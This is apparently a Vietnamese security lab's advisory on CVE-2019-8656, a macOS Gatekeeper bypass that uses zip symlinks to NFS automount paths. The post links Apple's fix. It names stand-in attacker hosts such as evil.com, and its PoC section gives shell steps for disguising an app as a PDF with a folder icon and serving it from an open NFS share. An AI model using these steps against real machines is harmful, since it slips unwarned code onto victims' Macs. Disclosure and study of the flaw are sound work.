[CVE-2019-8656] macOS X GateKeeper Bypass

ADMIN
10:33 26/08/2019

Update: 22 Jul 2019

Fix now available: https://support.apple.com/en-gb/HT210348

CVE: CVE-2019-8656

TỔNG QUAN

Các phiên bản macOS X <= 10.14.5 có thể bypass GateKeeper để thực thi các đoạn mã mà không có bất kỳ cảnh báo và sự cho phép từ người dùng.

Gatekeeper là tính năng do Apple phát triển và được đưa vào macOS X từ 2012 có nhiệm vụ ký và xác minh các ứng dụng tải về trước khi chúng được chạy.

CHI TIẾT

Gatekeeper xem các ổ đĩa ngoài và network shares là các vị trí an toàn và cho phép ứng dụng chứa và chạy trên chúng.

Bằng cách kết hợp 2 tính năng trên, có thể thực thi các hành vi một cách hợp pháp.

Tính năng đầu tiên, automount (autofs) cho phép người dùng tự động mount  các network shares bằng cách chỉ truy cập đường dẫn "đặc biệt". Trong trường hợp, đường dẫn bất kỳ đều bắt đầu là "/net/".

Ví dụ:
ls /net/evil-attacker.com/sharedfolder/
hệ điều hành sẽ đọc nội dung của "sharedfolder" trên máy chủ từ xa (evil-attacker.com) bằng NFS.

Tính năng thứ hai, tập tin nén zip chứa các đường dẫn tượng trưng trỏ đến các vị trí tùy ý (bao gồm các vị trí tự động).

Hiểu rõ cách tấn công qua ví dụ sau: Kẻ tấn công tạo ra tệp zip chứa các đường dẫn tượng trưng trỏ đến một nơi mà chúng có thể kiểm soát ( Documents -> /net/evil.com/Documents) và gửi đến nạn nhân. Nạn nhân tải tệp zip sau đó giải nén các đường dẫn tượng trưng đấy.

Bây giờ kẻ tấn đã kiểm soát được máy của nạn nhân được Gatekeeper tin tưởng , do đó bất kỳ thực thi nào trên máy nạn nhận đều không bị cảnh báo. Do thiết kế của Finder (ẩn đuôi mở rộng .app, ẩn đường dẫn đầy đủ trên titlebar) làm cho phương thức tấn công khó phát hiện.

Video minh hoạ: https://youtu.be/m74cpadIPZY

Kết quả hình ảnh cho macOS X GateKeeper Bypass

PoC

  1. create a zip file with a symlink to an automount endpoint
    1. mkdir Documents
    2. ln -s /net/linux-vm.local/nfs/Documents Documents/Documents
    3. zip -ry Documents.zip Documents
  2. create an application (.app folder) with the code you want to run
    1. cp -r /Applications/Calculator.app PDF.app
    2. echo -e '#!/bin/bash'"\n"'open /Applications/iTunes.app' > PDF.app/Contents/MacOS/Calculator
    3. chmod +x PDF.app/Contents/MacOS/Calculator
    4. rm PDF.app/Contents/Resources/AppIcon.icns
    5. ln -s /System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/GenericFolderIcon.icns PDF.app/Contents/Resources/AppIcon.icns
  3. create a publicily accessible NFS share and put the .app in it
    1. ssh linux-vm.local
    2. mkdir -p /nfs/Documents
    3. echo '/nfs/Documents *(insecure,rw,no_root_squash,anonuid=1000,anongid=1000,async,nohide)' >> /etc/exports
    4. service nfs-kernel-server restart
    5. scp -r mymac.local:PDF.app /nfs/Documents/
  4. upload the zip somewhere in internet and download it so it gets the quarantine flag used by Gatekeeper
  5. extract the zip (if needed) and navigate it

Nguồn: https://www.fcvl.net/vulnerabilities/macosx-gatekeeper-bypass

TIN LIÊN QUAN
Chúc mừng sinh viên ngành An toàn Thông tin, 𝐋𝐞̂ 𝐂𝐨̂𝐧𝐠 𝐇𝐚̂̀𝐮 𝐯𝐚̀ 𝐍𝐡𝐨́𝐦 𝐧𝐠𝐡𝐢𝐞̂𝐧 𝐜𝐮̛́𝐮 𝐈𝐧𝐒𝐞𝐜𝐋𝐚𝐛 đã có công trình nghiên cứu về Cơ chế xác thực phi tập trung trong Metaverse được thông báo chấp nhận đăng tại Kỷ yếu Hội nghị khoa học quốc tế lần thứ...
Chúc mừng nhóm sinh viên ngành An toàn thông tin - Khoa Mạng máy tính & Truyền thông, 𝗛𝘂𝘆̀𝗻𝗵 𝗧𝗵𝗮́𝗶 𝗧𝗵𝗶 - 𝗡𝗴𝗼̂ Đ𝘂̛́𝗰 𝗛𝗼𝗮̀𝗻𝗴 𝗦𝗼̛𝗻 và 𝗻𝗵𝗼́𝗺 𝗻𝗴𝗵𝗶𝗲̂𝗻 𝗰𝘂̛́𝘂 𝐈𝐧𝐒𝐞𝐜𝐋𝐚𝐛 đã có công trình nghiên cứu được chấp nhận đăng tại Kỷ yếu Hội nghị khoa học quốc tế...
Nhóm nghiên cứu InSecLab có bài báo đăng tại Hội nghị khoa học quốc tế về An toàn thông tin - ISPEC 2022 Chúc mừng sinh viên ngành Khoa học máy tính, 𝗡𝗴𝘂𝘆𝗲̂̃𝗻 𝗛𝘂̛̃𝘂 𝗤𝘂𝘆𝗲̂̀𝗻 và 𝗻𝗵𝗼́𝗺 𝗻𝗴𝗵𝗶𝗲̂𝗻 𝗰𝘂̛́𝘂 𝐈𝐧𝐒𝐞𝐜𝐋𝐚𝐛 đã có công trình nghiên cứu được chấp nhận đăng...